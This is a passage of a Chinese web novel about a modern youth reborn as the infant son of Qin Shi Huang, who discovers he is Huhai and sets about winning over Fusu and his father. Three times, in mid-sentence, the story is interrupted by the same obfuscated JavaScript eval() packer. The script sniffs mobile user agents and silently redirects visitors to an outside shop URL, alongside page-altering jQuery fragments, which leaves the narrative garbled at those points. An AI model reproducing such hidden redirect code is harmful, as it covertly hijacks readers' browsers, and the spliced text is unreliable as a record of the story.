即使赵乐秦吐字不清,神奇小明依然可以猜到他的意图,然后精准又妥帖地执行。而小明教起说话来更是贴心,赵乐秦学习语言的速度一日千里。他现在除了说长句子有点小结巴,日常表达都没什么生词了! 只除了一点,小明的脸上永远是淡淡的。 不管赵乐秦如何从某个角落悄悄探头,在他看过去时,小明脸上的表情永远不动如山。 赵乐秦很快放弃这种偷感很重的行为——大概小明就是先天面瘫圣体吧。 不过,既然察言观色看不出来,是时候直接用语言摸一摸小明的底了! 赵乐秦嗖嗖嗖地爬到了漆案上。 小明仍然恪尽职守地伸开胳膊护卫在旁,低头注视着幼崽。 赵乐秦先是一屁股坐下,然后努力地盘腿,尝试做出高人风范。 但他很快发现这个姿势过于有考验了,只好退而求其次,选择脚心并拢,稳了稳重心,指挥鸡妈妈一样的小明坐在榻上。 小明默默收回手臂,顺着公子的意思跪坐下来。 赵乐秦摆出了严肃的表情,探出胳膊。 小明立刻弯腰倾身,让赵乐秦的短胳膊成功碰到自己肩头。 赵乐秦爪子张开,用力拍了拍小明的肩膀:“明,你会什么?”。 等赵乐秦收回胳膊坐稳,小明抬手一礼,用平淡的表情朗声回答: “公子,臣极善音律。” 赵乐秦被小明自信的话镇住了,他嘴巴微张,迟疑地发问:“那……你最擅长、什么乐器?” 小明从袖口抽出一个长长的袋子,然后小心地把里面的东西掏出,两手捧着举到赵乐秦面前:“这是臣最擅长的乐器,笛。” 赵乐秦仔细端详着这个笛子,虽然只是寻常竹子做的,但莹润发亮、毫无指印的笛身,一眼就能看出主人对它的看重。 赵乐秦想了想,没有伸手去碰。都随身携带了,这小明得爱惜到什么程度啊。 赵乐秦眨了眨眼,转头看向小明,小明还是一脸波澜不惊。 赵乐秦看看笛,又看看人,开口问道:“能吹吗?” 此话一出,像一颗石头砸入平静的水潭,话音刚落,小明的眼睛就爆发出了光芒,整个人一下子生动了起来。 “敢不从命!” 赵乐秦被这反差整的目瞪口呆,而小明则指尖丝滑一转,轻轻握住笛身,横放到唇边。 他的指腹精准覆住笛孔,骨节分明的手稳如磐石。 下一刻,笛声响起。 笛声先如孤鹤唳空般清越嘹亮,让人心神一震,然后忽转急促,疾如惊雷、迅如奔马,瞬间收紧听者的心弦。紧接着,笛音陡然一收,变得低回婉转,把人从紧张的氛围引入清泉石上、幽林松风,心旷神怡之际渐渐转淡,只留一点余韵悠长。 赵乐秦听傻了。 卧槽,牛逼! 赵乐秦呆呆地看着小明的指尖起落翻飞,感觉自己的耳朵好像被挂到了维也纳音乐厅。 赵乐秦有些发懵——难不成,这才是大爹专门指小明来照顾他的原因? 哄孩子的智能音箱收笛垂手,依旧是恭恭谨谨,安静侍立。那一脸平淡的样子,就好像刚刚那极其考验肺活量的吹笛行为压根不存在。 赵乐秦不信邪地凑近,发现小明气息就是平稳得像睡着了一样。 卧槽,这还能说什么? 赵乐秦眨眨眼,决定给小明上点难度,张口道:“我歌,能吹吗?” 小明思索片刻,颔首道:“臣可以一试。” 赵乐秦坏坏一笑,清了清嗓子坐直,张嘴就抑扬顿挫地“啊”了一段《加勒比海盗》。 “这个可以吗?” 小明点点头,闭眼片刻,抬手把笛子放置唇边。 下一刻,笛声响起。 赵乐秦的嘴巴渐渐张大。 因为他说话还有点磕巴,这段曲子哼得断断续续的,而且小孩的嗓子到底还没有发育完全,他有些地方压根没唱到调子上。 但是,小明竟然凭他的直觉改掉了! 不仅如此,小明只是听了一遍,但他的复刻程度至少达到了85%。 小明吹完又收笛垂手,依旧是恭敬地侍立在旁。 赵乐秦咽了一口唾沫,觉得小明的身影忽然高大起来。 他已经没办法用旧眼光再看待了——这完完全全就是个音乐天才啊! 赵乐秦爬起来,一脸严肃地向小明伸出短胳膊。 小明立刻倾身,不过这次赵乐秦没有去够他的肩膀,而是郑重地拍了拍小明牛逼的双手:“你,天才!等我长大,给你机会!” 小明低头,看到赵乐秦一双圆滚滚的小手,虽然还是一副冷冷淡淡的表情,眼睛里却浮起了细微的笑意:“谨受命。” 赵乐秦一脸欣慰,他要培养出一个弗朗茨·明斯特了! 这时奶娘走进屋子,笑着请示:“公子可要吃肉糜羹?” 赵乐秦眼睛一亮,大声道:“要!” 奶娘端来一小碗热腾腾的肉糜羹,满脸慈爱地在旁看护。 赵乐秦啊呜大口吃着,奋力和勺子斗争。 虽然肉糜羹比糊糊硬一些,他还是觉得自己牙有些痒痒,特别想啃点东西。 赵乐秦的肉脸挂上一丝忧郁。 虽然这是因为出牙的影响,但是老想啃东西…… ——这不是越来越像狗了吗!? 赵乐秦大口大口吃完肉糜羹,然后往榻上一倒,摊成个大字,眼神放空。 这咋整啊…… 忽然,赵乐秦的眼睛一亮,身子一蛄蛹便溜下了榻。 小明看着不过一眨眼的功夫,赵乐秦就要往外冲了。 ——不好! 他赶紧一撩衣服,随着赵乐秦下榻:“公子要去哪里?” 赵乐秦止住咚咚咚的步子,仰头对小明甜甜一笑:“我想去庖厨!” 赵乐秦刚刚忽然想到办法了。 他记得家里老妈以前说过这事。小孩儿出牙时容易牙痒,最好找点能磨牙的东西给他。他老妈可是老中医来着,专业呐! 赵乐秦打算去庖厨看看,好歹找一些耐啃的东西,维持一下他不啃手的体面。 小明脸上仍然淡淡的,却像猹一样将身一扭,一下就拦在了路线前方。 他微微弯腰,轻声开口请示:“庖厨杂乱,臣抱着公子可好?” 赵乐秦想了想,这个时候的庖厨还真的蛮危险,向小明张开双臂。 “抱!” 小明轻柔地抱起赵乐秦,走得又稳又快,不一会儿就到了庖厨。 庖厨此时正是准备餔食的时候,屋子里的人又洗又涮,忙忙碌碌,房间里水气弥漫。 一个面色红润的大娘看到赵乐秦一行人,把手一擦,赶紧领着众人上前行礼。 大娘恭敬地开口问道:“臣乃主庖,敢请贵人示下?” 赵乐秦向众人挥挥手:“去忙!”他又指了一下大娘,“你留,即可。” 赵乐秦对着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124590|196004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大娘张开嘴,指了指自己的小米牙:“想咬东西,有硬食物?” 幼崽的目标非常明确,幼崽的表达相当清楚,幼崽超绝的天才表现狠狠震惊到大娘。 她的视线反复在赵乐秦和小明的脸上来回移动,嘴里连声应道:“有的,有的,糗、糒行吗?” 大娘说完下意识望向小明,然后又猛得把视线移回赵乐秦的脸上。 赵乐秦点点头:“你先拿来。我瞧瞧!” 大娘一脸梦幻地去拿糗糒了,小明低声给赵乐秦解释糗糒是什么。 听了一会儿,赵乐秦恍然大悟,原来这东西就是干饼,行军旅行的便携干粮。 大娘拿来了糗糒,小心地举到赵乐秦面前。 赵乐秦伸出手,捏了捏这比他脸还大的饼子,觉得还是得加工一下。 赵乐秦举起自己的短短的手指,对着大娘一脸认真地比划:“可做成,这么长吗?再硬些。” 大娘身体前倾,看完连连点头:“唯唯。” 她说完,带着一点紧张行礼道:“公子的糗糒大概要日入时做好。” 赵乐秦掰着指头换算了一下,意思是要等到下午五点,还有一个小时。他点点头,装作没看到大娘行礼告退时偷瞄的眼神,指挥小明带他去庖厨外头等。 小明仍然是一副面无表情的样子。 赵乐秦盯了一会儿——他总觉得小明在偷笑,但小明脸上确实平淡无波。 出了庖厨,赵乐秦从淡脸小明的怀里跳出来,找了块干净的草地。 他啪叽坐下,两手往后撑着:“明也坐!” 小明朗声应诺,跟着跪坐在赵乐秦身侧。 秋天的太阳晒得人很舒服,赵乐秦微微眯起眼,有一搭没一搭地揪着地上的草,漫不经心地问道:“父王说,我有二十几个兄姊。你知道,他们的情况吗?我想送、糗糒。” “排行最大的公子长您九年,名扶苏;最小的是五公主,前几天刚出生,目前和您一样还未被赐名。其余排行中间的公子公主们,最小的也长您三岁。”小明停了停,迟疑地补充道,“不过,您是出牙的缘故需要糗糒,可能……您兄姊们暂时不需要。” 而赵乐秦已经顾不上注意小明的委婉了,他从听到“最小的是五公主”起,脑子嗡一下就炸了。 什么叫“最小的是五公主”? 都最小了,这个公主不应该是排行二十几吗? 赵乐秦忽然发现,他这么长时间一直搞错了一件事——秦国的男女排行是分开的,所以他的排行可不是二十多! 赵乐秦刷地坐直,猛地扭头盯住小明,几乎尖声出声:“我!排行多少?” 小明被赵乐秦强烈的反应吓了一跳,忙道:“您排行十八。” “十八?” 赵乐秦缓缓闭上眼,表情逐渐扭曲。 小明担忧地看着仿佛如遭雷击的幼崽,点头确认道:“是的,您排行十八。” 赵乐秦努力控制了一下表情,发现实在绷不住了,啪得一下捂住了脸。 他想了那么多对付胡亥的招数,结果胡亥竟是我自己? 我骂了那么久、信誓旦旦要弄死的人是我自己? 啊啊啊大爹,你为什么不早点给我起名字啊! 赵乐秦崩溃地抱头——这么尴尬的事,以后半梦半醒时想起来,他怕不是得在床上扭成蛆! 许久后,赵乐秦终于平静了下来: 好,既然我就是那个危险,那么我就没有危险。 始皇陛下,你的漏风皮夹克,来了。 5. 我想穿这件绿的! “就穿这件!” 赵乐秦指向奶娘右手举起的浅葱绿短打孺服,小脸上的神色坚定得像是要入党。 “唯!” 奶娘一脸喜色地应声,同站在一排的小明低下头,默默收起自己手中的两身玄色小衣裳。 赵乐秦看着小明失落的背影无奈摇头。 不是小明选的不好看,只是短时间内赵乐秦都对黑色喜欢不起来——他穿了整整三年的高中校服就是黑色! 自从大爹来了一趟,赵乐秦的吃穿用度猛上了一个台阶。所谓物极必反,在赵乐秦发现自己衣柜陡然膨胀,得已经足够整OOTD后,他恨不得每天穿成个彩色鹦鹉。 虽然赵乐秦的报复性穿搭非常契合奶娘的审美,然而大秦以黑色为尊,小明便坚持不懈地推荐高贵的黑色,希望潜移默化他天资聪颖、身份高贵,却无比热爱花衣服的公子。 赵乐秦能怎么办呢?赵乐秦只能任小明每天饱含期待地尝试,然后在他热切的注视下穿得五彩斑斓。 所以说,今天赵乐秦还是收敛了呢! 穿好衣服后,像小葱一样水灵的赵乐秦向小明伸出手,小明立刻抱起矮葱向门外走去。 经过大半年时间,赵乐秦已经通过各种渠道多方打听,成功把他的兄弟姐妹们了解的七七八八。现在赵乐秦已经接受了自己就是胡亥的事实,便下定决心: 他要做嬴政最宠爱的儿子、扶苏最亲爱的弟弟! 一岁多的幼崽正是最佳赏味期,赵乐秦打算今天就先去找扶苏阿兄刷个脸。 正值初夏,清早不至于炎热,但秦国的宫殿之间的距离贼大,赵乐秦估摸小明抱着自己 已经走了有差不多十分钟,一问距离,才走了三分之二。 赵乐秦拍拍小明的肩膀:“放。”他这个肉墩儿可以自己走一段距离。 小明稳稳地把赵乐秦放下来,赵乐秦抽出自己的小佩巾,一把塞到小明手里:“快擦擦。” 小明双手接过小小的一方嫩黄色佩巾,眼神柔软地看着赵乐秦,低声道:“唯。” 赵乐秦等着小明擦汗,眼神落到前方花园里的花草上。 他嘿嘿一笑,蹬蹬噔跑过去,一连揪了十几朵开得正好的花,有些艰难地抱着花束转身。 小明一直站在不远处看着赵乐秦的动作,立刻明白了他的意思。他快步上前,修长的手指接过杂乱的花枝。 不过三两下一绕,小明就做出了一个漂亮花束,细心整理好毛刺后递给赵乐秦。 赵乐秦搂着花束,唇红齿白的小脸在花朵上方漂亮极了,他歪头,向小明弯起眼睛,满意地看到小明眼里的姨母笑。 没有人可以拒绝可爱的幼崽,没有人! 赵乐秦骄傲地仰头。 花园是宫道的交叉口。在赵乐秦美滋滋摘花的时候,另一条路上,一个身着玄袍的老头带着几个侍从,恰也往这个方向走来。 老头走得不快,听到前方远处有动静,眯起眼,远远地扫了一眼在花丛里钻来钻去的小孩,发出一声短促的轻嗤。 身后的几个侍从眼角的余光看见,身子弯得更低了。 老头从鼻中喷出一股气,下巴向远处的方向一点,开口道:“去问问那是谁。” 他身后的一个侍从连忙出列应诺,然后低头疾行,直奔明显是在一旁看顾孩童的小明,快速展示了一下自己的符牌:“我是昌平君的家臣,敢问您是?” 小明早就看见了远处的昌平君,只是没想到他竟然隔着这么远就派人来问,便如实答道:“我是王上赐给十八公子的侍从。” 而此时的赵乐秦还沉迷在选花大业,往花丛里越钻越深,压根没注意小明和别人的交谈。 昌平君的仆从得到答案赶紧行礼告辞,又小步快走到昌平君前,上前禀告:“主上,前面的幼童是十八公子。” 昌平君回忆了一下十八公子的出身:一个低贱的胡女。 他的表情顿时拧了一下,看上去活像个缩水的干橘子皮,他皱着眉又扫了一眼赵乐秦的服饰,脱口而出便是一声斥责:“成何体统!” 在自傲血脉源于秦、楚两国贵族,纯的不能再纯的赛级昌平君看来,一个血脉低贱的胡女之子,那是压根儿就上不得台面。这也就罢了,体内流淌着一半低贱的血脉,竟然还不好好学一学礼仪规矩,反而在花园里胡乱摘花,简直是到处丢人现眼。 老头活了这么些年,从来对家中子女都是严加管束,见到的小孩从来都是举止规矩,穿着庄重端严。今儿猛地见到赵乐秦这么一身衣服,看得老头儿潮人恐惧症都犯完了。 赵乐秦要知道老登的爹味儿想法,一定会狠狠翻个白眼。 摘个花就张扬了?衣服颜色鲜艳点就碍眼了? 再说了,赵乐秦觉得自己今天的穿着相当正常。 他今天挑了一身短打孺服,上衣是鲜嫩的浅葱绿短襦,领口滚了圈淡黄的窄边,下身配了一条月牙白的绔裤,腰间系着条鹅黄绢带。硬说哪里比较特别,大概就是奶娘今天突发奇想,在给赵乐秦梳两个小包包时,在发带尾部配了枚小小的银铃,一动便叮当作响,活泼又可爱。 在赵乐秦不知道时,昌平老头已经单方面把他从头到脚批评了个遍。 如果赵乐秦是普通小孩,光摘花这个动作就得花好长时间,说不定等做完花束都得日上三竿,正好和昌平老头错开。但赵乐秦摘花摘得又快又好,等小明给他做好花束,转头准备继续去找攻略对象、他亲爱的好阿兄的时候,迎面就和昌平君撞上了。 知道自己很可爱的幼崽一抬头,正好对上这张橘皮老脸。 赵乐秦捕捉到了老头的神色—— 一脸轻蔑? 赵乐秦无辜地眨眨眼,小小后退几步,收起行礼的架势,皱着眉再一眼。 不错,老头脸上的轻蔑还加深了。 赵乐秦干脆把花束交给小明,叉起腰,仰头直视着老头的双眼:“敢问你是何人?你是故意作出看不起我的表情吗?” 昌平君没想到面前的小孩不但没行礼,反而一副理直气壮的样子。 在赵乐秦这不按常理出牌的一问下,昌平君愣住了。 跟在昌平君身后的侍从赶紧出列,出声呵斥:“不可无礼!此乃昌平君。” 赵乐秦笑了。 原来是那个在秦国攻楚时趁机反叛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124591|196004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结果间接导致李信攻打失败,让嬴政不得不去请王翦出山的昌平君啊。 原来是你啊,怪不得没有礼貌呢。 赵乐秦毫不躲闪地看着昌平君,一比一复刻了老头的神色,然后张嘴。 “啧。” 老头不可置信地看着面前的小孩,心底一股无名火直往上冒,脸色渐渐阴沉:“竖子无礼!” 赵乐秦微微眯起眼睛:他爹都是秦始皇了,还能被一个昌平君欺负了? 赵乐秦左右看了看,往后退了几步,靠到小明腿边。 确定小明可以把自己一下子抱起来后,赵乐秦仰头对着昌平老头坏坏一笑,然后提高嗓音。 “我是王上的十八子。昌平君对着不到两岁的幼童,竟然以大欺小,栽赃诬陷。你这是看不起我吗?你分明是看不起我身后的父王!” 赵乐秦深吸一口气,用儿童尖利的声音大喊: “奸臣已经自己跳出来了!” 话音一落,在场所有人都下意识地看向昌平君。 昌平老头意识到赵乐秦嘴里叭叭叭地说出什么后,脸色逐渐红温。 “你!” 他怒极,猛地伸出手指着面前洋洋得意的幼童,气得喉咙咯咯作响。 赵乐秦冲着老头灿烂一笑,对自己刚刚不打磕巴的发挥满意至极。 昌平君像风箱一样呼哧几声,使劲儿压下去内心的怒火与暴虐。 他不能再说什么话了,这竖子嘴皮子利索的很,再纠缠下去,把今天这事情闹大了,众人绝对不会认为是一个小孩的错,只会说他这个大人有问题。 昌平老头闭了闭眼,从牙关里硬生生挤出一句:“走!”随后便一甩袖子,迈着大步离开。 他身后的侍从们面面相觑,赶紧抬脚跟了上去。 赵乐秦笑眯眯地目送气哼哼的橘皮老头,得意洋洋地向小明一挑下巴:“我表现得如何?” 小明仍然一脸平淡,却放松了手中刚刚紧紧握着的花束,回应道:“甚善。”然后微不可查的松口气。 刚刚小明一直肌肉紧绷,时刻准备抄起公子逃命。还好公子反应极快,反倒是把骂昌平君走了。 赵乐秦听到小明的回应哈哈大笑。 清脆的笑声传到昌平老头的耳中,越走越快的老头登时怒气上涌,心神一晃,脚步一个趔趄——摔了! 一直跟在昌平君身后的侍从慌忙一拥而上,七手八脚地把哎呦呦叫的老头扶起来。 赵乐秦还没有移开视线,看到这一幕目瞪口呆,然后骤然爆发出一阵更具穿透力的大笑。 他本来想忍的,但无奈这一刻功德败如山倒,笑点稳占上风。 赵乐秦边笑边扯小明的袖子,勉力从笑声中挤出话来:“快走、快走……防止老登恼羞成怒哈哈哈……” 小明二话不说,一手拿花一手抱人,迅速闪到另一条小路上,把哈哈大笑的赵乐秦都颠出了颤音。 小明规行矩步了十几年,从来没想过,他有一天会如此不顾礼节的奔逃。 小明看向一脸不嫌事大的公子,心中忽然生出一丝不祥的预感。 ——这该不会只是个开始吧? 6. 你是说我要学七国外语? 逃到安全距离后,小明犹豫半晌,还是小声告诉赵乐秦:“公子,长公子的母亲是楚国公主,昌平君是楚顷襄王之子,所以……昌平君其实是长公子的舅父。” 赵乐秦从橘皮老头贡献的精彩剧目中回神,闻言满不在乎地摆摆手:“没事,我还是长公子的弟弟呢!” 赵乐秦一点儿不担心这事。 难道橘皮老头会把他和两岁小孩吵架的事情到处说嘴吗?更别说还吵输了,丢人! 赵乐秦眉眼间漾着笑意,心情愉悦。 只要自己不主动开口,扶苏怎么会知道他舅公和幼弟之间的纯恨故事。 更何况,昌平君最终会站到楚国那边自立为王——成为秦始皇的对手会有什么好果子吃吗? 橘皮老头,你的生命进入倒计时了懂不懂! 而且,他才不信扶苏会真心喜欢昌平君——谁十二三岁喜欢被大人说教呢?一个端着架子的橘皮老头,能比得上一个热情的、可爱的、崇拜哥哥的幼弟吗? 说话间,赵乐秦已经到达了扶苏居住的宫室。侍从通报后,他抱着花欢快地跑了进去。 扶苏的住处宽敞又明亮,赵乐秦跟着侍从指引穿过外堂,一直走到院中。 侍从通报十八公子来访时,扶苏正跪坐在树下的席子上温习典籍。他手中握着一卷竹简,身边还整整齐齐地放着好几册,整个院中都弥漫着一股淡淡的墨香。 听到侍从通报的扶苏非常疑惑。 如果他没记错的话,十八公子还不到两岁吧? 扶苏又和侍从确认了一遍,随即有些迷茫地站起身,一边穿鞋履,一边交代侍从收拾竹简,再拿些适合幼童吃的蜜水和果子来。 这时,一阵清脆的铃铛声传来,院中众人都下意识望去。 一个矮墩墩的幼崽抱着一束开得正好的花,忽然闯入众人视野。 十八公子来了。 赵乐秦努力从花束中间抬头,望向庭院中间的一身玄袍的少年。少年不过十二三岁大,阳光从树影间洒下光斑落在身上,勾勒出还青涩的侧脸。 赵乐秦扬起大大的笑容,蹬蹬蹬跑到少年跟前,微微垫脚举起花束:“你就是我的文武双全的好阿兄吗?弟摘的花花!送给你!” 扶苏的脸上猛然升起一片红晕。 内敛的老秦人哪里见过这个! 扶苏低头看着嫩生生的幼弟,手忙脚乱地接过花束,羞涩地开口回应道:“十八弟,我是你的兄长扶苏。但我还在跟着师长学习,称不上文武双全。谢、谢谢阿弟的花。” 扶苏从来没见过这么好看的小孩,而且还打扮得和硬汉风的老秦人一点都不像,看起来简直就跟传说中的小仙童一样,而且这个小仙童不仅举止伶俐、说话口齿清晰,还对他特别热情,好像……很喜欢他这个兄长。 赵乐秦嘿嘿一笑,主动把自己的手塞进扶苏的手里,仰头问道:“阿兄刚刚在干什么?” 扶苏红着脸,温声回应幼弟:“我在读书。” 赵乐秦眨巴眨巴眼,左右晃晃扶苏的胳膊,夹着嗓子问:“我可以看看吗?我保证乖乖的,不弄坏。” 扶苏欣然点头,向周围的侍从招手示意,然后又把花束交给侍从,蹲下身子给自己和幼弟脱下鞋履,牵着矮团子坐到树下的席子上。 两人一落座,赵乐秦就毫不犹豫地扎进扶苏怀中。扶苏感受到怀中幼崽温热柔软的触感,一时间有些不知所措,低头犹豫半晌,不知道把手放在那里。 赵乐秦抬头,看到扶苏羞涩的模样,顿时笑得眉眼弯弯。 他懂——从来没有被人类幼崽主动贴过的非酋,老和萌物绝缘的倒霉孩子! 赵乐秦在扶苏怀中扭动几下,很快找到了最舒服的姿势。他坐稳当后,伸出自己的短胳膊,一把抓起扶苏无处安放的手。 在扶苏的惊讶中,下一刻,赵乐秦直接按上自己肉肉的肚子。 赵乐秦仰起头,非常大方地说道:“阿兄想摸就摸吧,不用客气。” 扶苏没忍住,顺着幼弟的力道轻轻捏了捏,然后骤然回神,忙拿起旁边冷落已久的竹简:“咳。阿弟,看,这就是我刚刚在读的书。” 赵乐秦乖乖地看着扶苏把竹简展开。 赵乐秦闭上了眼。 ——好复杂的字啊! 扶苏丝毫不知道怀中的幼弟已经开始晕字,仍然一脸温柔地介绍道:“这个是《诗经》,里面有很多诗歌,很适合小孩子读。” 赵乐秦觉得自己装不下去甜心弟弟了,他势必要问一个很重要的问题。 赵乐秦严肃地开口:“阿兄,我听说现在有七国文字,这个《诗经》是用我们秦国文字书写吗?” 扶苏惊喜地称赞道:“阿弟真是聪颖。对,这个是我们秦国的文字。你可以先学我们秦国的文字,然后再了解其他国家的文字。”说着,扶苏招手让侍从拿来相应的竹简,一一摊开给赵乐秦看。 赵乐秦感觉自己一张嘴就要吐出一串阿巴阿巴,知识好像划过他的大脑,并没有留下痕迹。 ——谁家好人要学七国外语啊? ——伟大的始皇陛下!你快点统一文字吧! 赵乐秦刷地睁开眼,努力调整了一下位置,然后一把搂住扶苏的脖子。 赵乐秦出卖自己的漂亮脸蛋又蹭又贴,对扶苏夹着嗓子撒娇:“阿弟还不会写字,我刚刚忽然有话想写给父皇,阿兄帮我写一下字好不好?” 扶苏被幼弟软软的脸蛋蹭来蹭去,眼神逐渐迷蒙,连声答应:“阿弟你说,我替你写。” 赵乐秦看着摆好的笔墨木牍,郑重地开口:“就写上……”他深吸一口气,一字一顿地说:“父王,我不想努力了!你灭掉了韩国,我就不需要学习韩地的文字。如果你能加快速度灭了剩余五国,那我只需要学习一种文字!父王功绩威德愈隆,子女习字之苦愈轻。父王是最英武盖世的王!勉力!勉力!臣小十八敬上。” 一席话掷地有声,扶苏和一众侍从听得目瞪口呆,一时间,整个院子只能听到蝉鸣。 扶苏情不自禁地顺着这个逻辑思考下去。 是啊,父王如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124592|196004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 统一六国,规定大家都学大秦的文字,他们还真就只用学一种文字就行了。 扶苏诡异地发现,他十八弟这番话,逻辑上竟然毫无破绽! 赵乐秦使劲拽拽陷入呆愣的扶苏,小声催促道:“阿兄?” 扶苏回神,低头看到赵乐秦疑惑的表情,顿时大笑:“阿弟,统一六国的确是我们历代先祖的目标。父王现在已经灭掉了韩国,我们以后也的确不需要学习韩国的文字了。但灭掉一个国家可不是一件轻松的事,现在秦国外敌环绕,赵武、燕烈、魏霸、楚阔、齐富……兵戈不能轻启,只有集齐天时地利,方有机会达成夙愿。” 赵乐秦知道扶苏在想什么。 这和不想背单词,便催着种花家攻入带英阿美有什么区别? 赵乐秦看着扶苏忍笑的表情绷起脸蛋,竖起食指,左右晃一晃:“阿兄,你不懂。” 常理来看,是不可能的,但,我们有一个足够牛逼的秦始皇呀! 扶苏眉眼含笑地看着幼弟,心中怜爱之情更甚,只觉得虽然幼弟聪慧远超常人,但想法实在天真可爱。 赵乐秦举起拳头挥舞,大声道:“阿兄,没有压力就没有动力,我们要相信,父王一定能打下江山!” 扶苏又被幼弟奇奇怪怪的话逗笑了,他也换上严肃的表情点头,伸手包住赵乐秦的小拳头,回应道:“好,我们相信父王。我来帮你写。” 扶苏拿过木牍,提笔三两下就写好了赵乐秦的话,想了想,又隔一段距离,在木牍最下面写了一行小字:十八弟稚语憨言,俱是孺子纯孝敬父之忱,臣扶苏代书,谨上。 赵乐秦看着扶苏写完,连忙伸出爪子蘸了一下墨汁,在结尾啪叽按上去自己的手印。 扶苏看着幼弟煞有介事的样子暗自发笑。待墨水干透,扶苏特地拿出自己的佩巾,仔仔细细的包好,然后喊来一个侍从,在赵乐秦热切的目光中交代:“一定要完完整整送到父王手中。” 侍从也一脸庄重,他接过被包得严严实实的木牍,严肃地行礼应诺,然后在赵乐秦催促的视线下快步离开。 这边赵乐秦自觉push了大爹好好工作,开开心心地享受温柔阿兄的照顾,抱着蜜水就是吨吨吨。那边的嬴政正在批阅沉甸甸的奏书,为大秦的基业添砖加瓦。 · 咸阳宫里,嬴政放下刚批好的一卷竹简,觉得嗓子有些干,端起一旁的漆杯喝了口水。 旁边的侍从见嬴政休息,连忙上前一步,低声禀告:“王上,扶苏公子送来了一个木牍,请您抽空看看。” 嬴政有些奇怪,他上午才见过扶苏,有什么事情还需要特地送木牍来。 嬴政揉了揉眉心,觉得自己批阅文书时间有些长,头都有些胀痛。他干脆站起身,一边踱着步子舒展筋骨,吩咐道:“拿过来吧。” 侍从呈上一个托盘,上面是一块垫着佩巾的木牍。 嬴政一挑眉,伸手拿起来,准备看看扶苏到底要说什么。 “父王,我不想努力了。” 嬴政一下子睁大了眼。 7. 痛失真名 “父王,我不想努力了。” 这八个字一出,瞬间把秦王批奏疏的昏沉给震没了。 嬴政闭上眼睛停顿几秒,然后又睁眼看去。 “父王,我不想努力了。” 他咬着牙迅速往下扫视,心中的怒气逐渐升腾。 嬴政冷着脸继续读着,但随着目光移动,一丝细微的疑惑却逐渐浮上心头。 ——这种说话方式? 等他看到段落结尾处“臣小十八敬上”几个字,整个人顿时恍然大悟,浑身一松。 嬴政又看了一眼炸裂的开头和奇异的理论,升腾的怒气此刻都化成了哭笑不得,笑骂出声。 “竖子!” 方才可把见惯风浪的秦王惊得不轻——大秦长公子,岂容有这般不思进取的想法! 嬴政本就甚少将心力放在儿女身上,唯有长子扶苏因被他寄予厚望,偶尔尚能得到他的亲自教导。 其余子女们,大多是让他们的生母抚育教养。对于嬴政而言,这些孩子本来也不指望什么,往往只有去其母宫中休息时,才会顺带召来一见,略作垂问罢了。 因此,在嬴政一直以来的印象中,自己的大儿子是个勤谨笃进的好学生,其余的儿女都好似平平无奇、没什么突出——除了这个好像天生聪慧异常的小十八。 嬴政回想了一下上次见面场景,当时这竖子都还不怎么会说话呢,却一眼就能看出他身份不同,还敢大着胆子缠着他打听消息。 想到这嬴政也不由得咋舌,虽然他知道这稚子聪慧非常,但是这想法是不是太灵活了点?不想学习别国文字,就催他父王去平定六国? 嬴政忽然注意到木牍的最下方还有一行小字,他凝目细看: 十八弟稚语憨言,俱是孺子纯孝敬父之忱,臣扶苏代书,谨上。 ——原来是扶苏替弟弟的找补。 在这句话的结尾处,赫然就是罪魁祸首的黑色小爪印,看得嬴政哑然失笑,对自己这个排行十八的幼子啧啧称奇。 说他聪明吧,他连多学一国文字都不愿意;说他笨吧,他还知道如果六国统一,他就能只学秦文。 而且竖子狡猾,自己不会写字,跑去找他大兄帮忙。 嬴政手指点了点赵乐秦的小爪印,又想起上次这小子口齿不清,急得抓耳挠腮的傻样,越想越乐,大笑出声。 一旁的侍从看秦王正高兴,大着胆子凑趣儿道:“见王上开怀,定有佳事。不知臣能否有幸一听?” 嬴政的心情正好,把木牍递给侍从,自己慢悠悠踱步回到榻上。 侍从连忙两手接过,大着胆子一看也乐了。 侍从恭敬地把木牍盛给秦王,笑着开口:“长公子关爱幼弟,十八公子聪颖孝顺,臣为大王贺。” 嬴政听到侍从的恭维轻笑一声,拿过木牍,手指轻轻点着“臣小十八”几个字,忽然发现还没正式给这小孩取名字,顿时来了兴致。 他这个幼子如此灵慧,根骨不凡,待时而发,确实要好好起一个名字。 侍从已经恭恭敬敬地站回原位,不敢出声扰乱秦王的思考,大殿内静悄悄的,一时间只能听到青铜水钟的滴答声音。 嬴政漫无目的地扫视殿内,不知怎的,他一眼就看到了水钟上刻箭的刻度,最上面的“亥”字格外突出。 嬴政陷入沉思。 